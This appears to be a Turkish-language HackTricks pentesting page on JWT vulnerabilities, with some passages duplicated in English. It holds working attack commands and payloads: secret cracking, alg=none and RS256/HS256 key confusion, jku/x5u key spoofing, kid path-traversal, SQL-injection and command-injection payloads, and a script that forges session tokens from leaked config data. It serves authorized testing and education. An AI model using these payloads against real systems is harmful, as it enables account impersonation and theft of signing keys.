JWT Zafiyetleri (Json Web Tokens)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu yazının bir kısmı şu harika yazıya dayanmaktadır: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT’leri pentest etmek için harika aracın yazarı https://github.com/ticarpi/jwt_tool

Hızlı Kazanımlar

jwt_tool’u All Tests! modu ile çalıştırın ve yeşil satırları bekleyin

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Şanslıysanız tool, web uygulamasının JWT’yi hatalı kontrol ettiği bazı durumları bulacaktır:

Sonra, proxy’nizde request’i arayabilir veya o request için kullanılan JWT’yi jwt_ tool ile dump edebilirsiniz:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

Pratik JWT değerlendirme iş akışı

  • Oturum kontrolünün kapsamını belirleyin: Belirli bir kullanıcıya ait bir isteği seçin (ör. profile, billing). Hangi token(lerin) gerçekten yetkilendirmeyi sağladığını izole etmek için isteği reddedene kadar cookies/headers öğelerini teker teker kaldırın.
  • Trafikteki JWT’leri bulun: Genellikle Authorization: Bearer <JWT> içinde yer alırlar, ancak özel header’larda veya cookie’lerde de görünebilirler. Eğer Burp onları vurgulamıyorsa, Target → Site map → Engagement tools → Search ile aşağıdaki regex desenlerini kullanın:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Çözümleme ve inceleme: Burp JWT Editor veya python3 jwt_tool.py <JWT> kullanarak header/payload’u okuyun. alg, exp/token ömrü ve authn/authz’i yönlendiren claim’leri (role, id, username, email, vb.) not edin.
  • İmza doğrulama kontrolleri (sanity check): İmza bölümünde birkaç byte çevirin veya silin ve tekrar gönderin. Kabul ediliyorsa imza doğrulama eksik demektir ve payload claim’leri doğrudan değiştirilebilir.
  • Hedef: Ayrıcalıkları yükseltmek için payload claim’lerini değiştirin; aşağıdaki her saldırı, zayıf doğrulama, zayıf secret’lar veya güvensiz anahtar seçimi kullanarak sunucunun değiştirilmiş payload’u kabul etmesini sağlamayı amaçlar.

İmzayı değiştirmeden veriyi tahrif etme

İmzayı olduğu gibi bırakarak veride değişiklik yapıp sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin kullanıcı adınızı “admin” yapmayı deneyin.

Token doğrulanıyor mu?

Bir JWT’nin imzasının doğrulanıp doğrulanmadığını kontrol etmek için:

  • Bir hata mesajı doğrulamanın yapıldığını gösterir; ayrıntılı hata mesajlarındaki hassas bilgiler incelenmelidir.
  • Dönen sayfadaki bir değişiklik de doğrulama yapıldığını gösterir.
  • Hiçbir değişiklik yoksa doğrulama yok demektir; bu durumda payload claim’leriyle denemeler yapın.

Kaynak

Token’ın sunucu tarafında mı yoksa istemci tarafında mı üretildiğini proxy’nin istek geçmişini inceleyerek belirlemek önemlidir.

  • İlk olarak istemci tarafında görülen token’lar, anahtarın istemci tarafı koda açığa çıkmış olabileceğini gösterir; daha fazla araştırma gerektirir.
  • Sunucu tarafında oluşturulan token’lar güvenli bir süreci işaret eder.

Süre

Token’ın 24 saatten uzun süre geçerli olup olmadığını kontrol edin… belki hiç süresi dolmuyor. Bir “exp” filed varsa, sunucunun bunu doğru şekilde işleyip işlemediğini kontrol edin.

Brute-force HMAC secret

See this page.

If the header uses HS256, dump the token to a file and try offline cracking:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Sır elde edildikten sonra, bunu Burp JWT Editor’da simetrik bir anahtar olarak yükleyin ve değiştirilmiş claim’leri yeniden imzalayın.

JWT sırlarını leaked config + DB verisinden türetme

Eğer an arbitrary file read (veya backup leak) hem uygulama şifreleme materyalini hem de kullanıcı kayıtlarını açığa çıkarıyorsa, bazen JWT imzalama sırrını yeniden oluşturabilir ve herhangi bir düz metin parolayı bilmeden session cookie’leri sahteleyebilirsiniz. İş akışı otomasyon yığınlarında gözlemlenen örnek desen:

  1. Uygulama anahtarını (örn. encryptionKey) bir config dosyasından leak edin.
  2. Kullanıcı tablosunu leak ederek email, password_hash, ve user_id değerlerini elde edin.
  3. Anahtardan imzalama sırrını türetin, ardından JWT payload’unda beklenen kullanıcı başına hash’i türetin:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. İmzalanmış token’ı oturum çerezi içine (ör. n8n-auth) koyarak kullanıcı/admin hesabını taklit edin; parola hash’i tuzlu olsa bile.

Modify the algorithm to None

Kullanılan algoritmayı “None” olarak ayarlayın ve imza kısmını kaldırın.

Use the Burp extension call “JSON Web Token” to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the “JSON Web Token” tab you can modify the values of the token. You can also select to put the value of the “Alg” field to “None”).

Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

HS256 algoritması her mesajı imzalamak ve doğrulamak için secret key’i kullanır.
RS256 algoritması mesajı imzalamak için private key’i kullanır ve authentication için public key’i kullanır.

Eğer algoritmayı RS256’den HS256’ya değiştirirseniz, backend kodu public key’i secret key olarak kullanır ve sonra imzayı doğrulamak için HS256 algoritmasını kullanır.

Böylece public key’i kullanarak ve RS256’yi HS256 olarak değiştirerek geçerli bir signature oluşturabiliriz. Web sunucusunun sertifikasını şu şekilde alabilirsiniz:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.

Başlık içinde yeni açık anahtar

Bir saldırgan token’ın header’ına yeni bir anahtar gömer ve sunucu imzayı doğrulamak için bu yeni anahtarı kullanır (CVE-2018-0114).

Bu, “JSON Web Tokens” Burp eklentisi ile yapılabilir.
(İsteği Repeater’a gönderin, JSON Web Token sekmesi içinde “CVE-2018-0114“ü seçin ve isteği gönderin).

JWKS Spoofing

Talimatlar, özellikle “jku” header claim’ini kullanan JWT tokenlarının güvenliğini değerlendirmek için bir yöntemi ayrıntılandırır. Bu claim, token doğrulaması için gerekli ortak anahtarı içeren bir JWKS (JSON Web Key Set) dosyasına işaret etmelidir.

  • Assessing Tokens with “jku” Header:

  • “jku” claim’inin URL’sini doğrulayın ve uygun JWKS dosyasına yönlendiğinden emin olun.

  • Token’ın “jku” değerini, trafiği gözlemlemenize izin verecek şekilde kontrolünüzdeki bir web servisine yönlendirecek biçimde değiştirin.

  • Monitoring for HTTP Interaction:

  • Belirttiğiniz URL’ye gelen HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtar çekmeye çalıştığını gösterir.

  • Bu süreçte jwt_tool kullanırken, testi kolaylaştırmak için jwtconf.ini dosyasını kişisel JWKS konumunuzla güncellemeniz önemlidir.

  • Command for jwt_tool:

  • Execute the following command to simulate the scenario with jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

İsteğe bağlı bir header claim’i olan kid belirli bir anahtarı tanımlamak için kullanılır; bu, birden fazla anahtarın bulunduğu ortamlarda token imza doğrulaması için özellikle önemlidir. Bu claim, bir token’ın imzasını doğrulamak için uygun anahtarın seçilmesine yardımcı olur.

kid ile Anahtarın Ortaya Çıkarılması

kid claim header’da mevcutsa, ilgili dosya veya onun varyasyonlarını web dizininde aramak önerilir. Örneğin, "kid":"key/12345" belirtilmişse, web kökünde /key/12345 ve /key/12345.pem dosyalarının aranması gerekir.

kid ile Path Traversal

kid claim’i dosya sistemi içinde gezinmek için de sömürülebilir; bu, rastgele bir dosyanın seçilmesine izin verebilir. kid değerini belirli dosya veya servislere hedefleyecek şekilde değiştirerek bağlantıyı test etmek veya Server-Side Request Forgery (SSRF) saldırıları gerçekleştirmek mümkündür. JWT’yi, orijinal imzayı koruyarak kid değerini değiştirmek için jwt_tool’daki -T bayrağı kullanılabilir; aşağıda gösterildiği gibi:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it’s possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

Tahmin edilebilir içeriğe sahip dosyaları hedefleyerek geçerli bir JWT taklit etmek mümkündür. Örneğin Linux sistemlerindeki /proc/sys/kernel/randomize_va_space dosyası, içinde 2 değeri bulunduğu bilindiğinden, JWT oluşturmak için kid parametresinde kullanılabilir ve 2 simetrik parola olarak kullanılarak token üretilebilir.

A practical pattern for brittle file-system key loading is to generate an HS256 key with JWK k set to AA==, set kid to a traversal like ../../../../../../../dev/null, and re-sign—some implementations treat the empty file as a valid HMAC secret and will accept forged tokens.

Kırılgan dosya sistemi anahtarı yükleme için pratik bir örüntü, JWK k değeri AA== olarak ayarlanmış bir HS256 anahtarı üretmek, kid’i ../../../../../../../dev/null gibi bir traversal değeri olarak ayarlamak ve yeniden imzalamaktır — bazı implementasyonlar boş dosyayı geçerli bir HMAC sırrı olarak değerlendirir ve sahte tokenleri kabul eder.

SQL Injection via “kid”

If the kid claim’s content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid payload. An example payload that uses SQL injection to alter the JWT signing process includes:

non-existent-index' UNION SELECT 'ATTACKER';-- -

This alteration forces the use of a known secret key, ATTACKER, for JWT signing.

Eğer kid claim’inin içeriği veritabanından bir parola çekmek için kullanılıyorsa, kid payload’unu değiştirerek bir SQL injection kolaylaştırılabilir. JWT imzalama sürecini değiştirmek için SQL injection kullanan örnek payload şudur:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Bu değişiklik, JWT imzalama için bilinen bir gizli anahtar olan ATTACKER kullanımını zorlar.

OS Injection through “kid”

A scenario where the kid parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid parameter, it’s possible to expose private keys. An example payload for achieving RCE and key exposure is:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

Bir senaryoda kid parametresi, komut yürütme bağlamında kullanılan bir dosya yolunu belirtiyorsa Remote Code Execution (RCE) zafiyetlerine yol açabilir. kid parametresine komut enjeksiyonu yaparak özel anahtarların açığa çıkarılması mümkün olabilir. RCE ve anahtar açığa çıkarma için örnek bir payload:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL.
If the token uses a “jkuHeader claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

jku, JWK Set URL anlamına gelir.
Eğer token “jkuHeader claim’ini kullanıyorsa, verilen URL’i kontrol edin. Bu, token’ı doğrulamak için kullanılacak Public Key’i içeren JWKS dosyasını barındıran bir URL’ye işaret etmelidir. jku değerini, trafiğini izleyebileceğiniz bir web servisine işaret edecek şekilde değiştirin.

First you need to create a new certificate with new private & public keys

İlk olarak yeni private & public keys ile yeni bir sertifika oluşturmanız gerekir.

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

O zaman örneğin jwt.io kullanarak yeni JWT’yi oluşturduğunuz public ve private anahtarlarla ve jku parametresini oluşturulan sertifikaya işaret edecek şekilde oluşturabilirsiniz. Geçerli bir jku sertifikası oluşturmak için orijinal sertifikayı indirip gerekli parametreleri değiştirebilirsiniz.

Bir public sertifikadan “e” ve “n” parametrelerini şu şekilde elde edebilirsiniz:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

Doğrulayıcı anahtar materyalini uzaktan alıyorsa, jku/x5u içine bir Burp Collaborator URL’si gömün using JWT Editor → Attack → Embed Collaborator payload. Any callback SSRF-style anahtar edinimini doğrular; ardından kendi JWKS/PEM’inizi o URL’de host edin ve servis saldırgan tarafından oluşturulmuş tokenları doğrulayacak şekilde özel anahtarınızla yeniden imzalayın.

x5u

X.509 URL. PEM formatında kodlanmış bir dizi X.509 (bir sertifika formatı standardı) açık sertifikaya işaret eden bir URI. Kümeye dahil ilk sertifika bu JWT’yi imzalamada kullanılan sertifika olmalıdır. Sonraki sertifikaların her biri bir öncekini imzalar ve böylece sertifika zinciri tamamlanır. X.509, RFC 52807’de tanımlanmıştır. Sertifikaları transfer etmek için iletim güvenliği gereklidir.

Bu başlığı kontrolünüz altındaki bir URL’ye değiştirmeyi deneyin ve herhangi bir isteğin alınıp alınmadığını kontrol edin. Bu durumda JWT’yi manipüle edebilirsiniz.

Sizin kontrolünüzdeki bir sertifika kullanarak yeni bir token sahtelemek için sertifikayı oluşturmanız ve açık ile özel anahtarları çıkarmanız gerekir:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Ardından örneğin jwt.io kullanarak yeni JWT’yi oluşturulan public and private keys ile ve x5u parametresini oluşturulan .crt sertifikasına işaret edecek şekilde oluşturabilirsiniz.

Ayrıca bu iki vuln’u for SSRFs suistimal edebilirsiniz.

x5c

Bu parametre sertifikayı base64 formatında içerebilir:

Eğer saldırgan self-signed certificate oluşturur ve ilgili private key ile forged token oluşturup “x5c” parametresinin değerini yeni oluşturulan sertifika ile değiştirir ve diğer parametreleri, yani n, e ve x5t, düzenlerse, esasen bu forged token sunucu tarafından kabul edilir.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Gömülü Açık Anahtar (CVE-2018-0114)

JWT, aşağıdaki senaryodaki gibi gömülü bir açık anahtar içeriyorsa:

Aşağıdaki nodejs scriptini kullanarak bu veriden bir açık anahtar oluşturmak mümkün:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Yeni bir private/public key oluşturup, yeni public key’i token’ın içine gömerek ve bunu yeni bir imza oluşturmak için kullanmak mümkündür:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Bu nodejs script ile “n” ve “e” değerlerini alabilirsiniz:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Son olarak, açık ve özel anahtar ile yeni “n” ve “e” değerlerini kullanarak jwt.io üzerinden herhangi bir bilgiler içeren yeni geçerli bir JWT sahteleyebilirsiniz.

ES256: Aynı nonce kullanıldığında özel anahtarın ortaya çıkarılması

Bazı uygulamalar ES256 kullanıyor ve iki JWT oluşturmak için aynı nonce’u kullanırlarsa, özel anahtar geri elde edilebilir.

İşte bir örnek: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).

JWT Kayıtlı claims

JSON Web Token (JWT)

Diğer saldırılar

Cross-service Relay Attacks

Bazı web uygulamalarının tokenlarının oluşturulması ve yönetimi için güvenilir bir JWT servisine dayandığı gözlemlenmiştir. JWT servisi tarafından bir müşteri için oluşturulan bir tokenin aynı JWT servisinin başka bir müşterisi tarafından kabul edildiği durumlar kaydedilmiştir. Üçüncü taraf bir servis aracılığıyla bir JWT’nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile o servisin başka bir istemcisine hesap kaydı yapma olasılığı araştırılmalıdır. Ardından elde edilen tokeni hedefe yönelik bir istekte replay etmeye çalışarak kabul edilip edilmediği kontrol edilmelidir.

  • Tokeninizin kabul edilmesi kritik bir sorunun işareti olabilir ve potansiyel olarak herhangi bir kullanıcının hesabının spoofing’ine izin verebilir. Ancak, üçüncü taraf bir uygulamaya kayıt olmak daha geniş testler için izin gerektirebileceğinden, bunun hukuki bir gri alana girebileceği unutulmamalıdır.

Tokenların Süre Kontrolü

Tokenın süresi, “exp” Payload claim’i kullanılarak kontrol edilir. JWT’lerin genellikle oturum bilgisi olmadan kullanıldığı göz önüne alındığında, dikkatli işlem gereklidir. Birçok durumda, başka bir kullanıcının JWT’sini yakalayıp replay etmek o kullanıcının taklit edilmesini sağlayabilir. JWT RFC’si, token için bir sona erme süresi belirlemek amacıyla “exp” claim’inin kullanılmasını önererek JWT replay saldırılarını hafifletmeyi tavsiye eder. Ayrıca, uygulamanın bu değeri işlediğini ve süresi dolmuş tokenları reddettiğini garanti eden ilgili kontrolleri uygulaması kritiktir. Token “exp” claim’i içeriyorsa ve test zaman sınırları izin veriyorsa, tokenı saklayıp süresi geçtikten sonra replay etmek önerilir. Token içeriği, zaman damgası ayrıştırma ve süre kontrolü (zaman damgası UTC), jwt_tool’s -R flag ile okunabilir.

  • Uygulama hala tokenı doğrulamaya devam ediyorsa, tokenın asla süresi dolmayacağı anlamına gelebileceğinden bir güvenlik riski olabilir.

Araçlar

  • jwt_tool – decode, claim/header değiştirme, offline secret kırma (-C) ve yarı-otomatik saldırı modları (-M at).
  • Burp JWT Editor – Repeater’da decode/re-sign, özel anahtarlar oluşturma ve yerleşik saldırıları çalıştırma (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – JWT’leri bir wordlist’e aktardıktan sonra GPU hızlandırmalı HS256 secret kırma.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin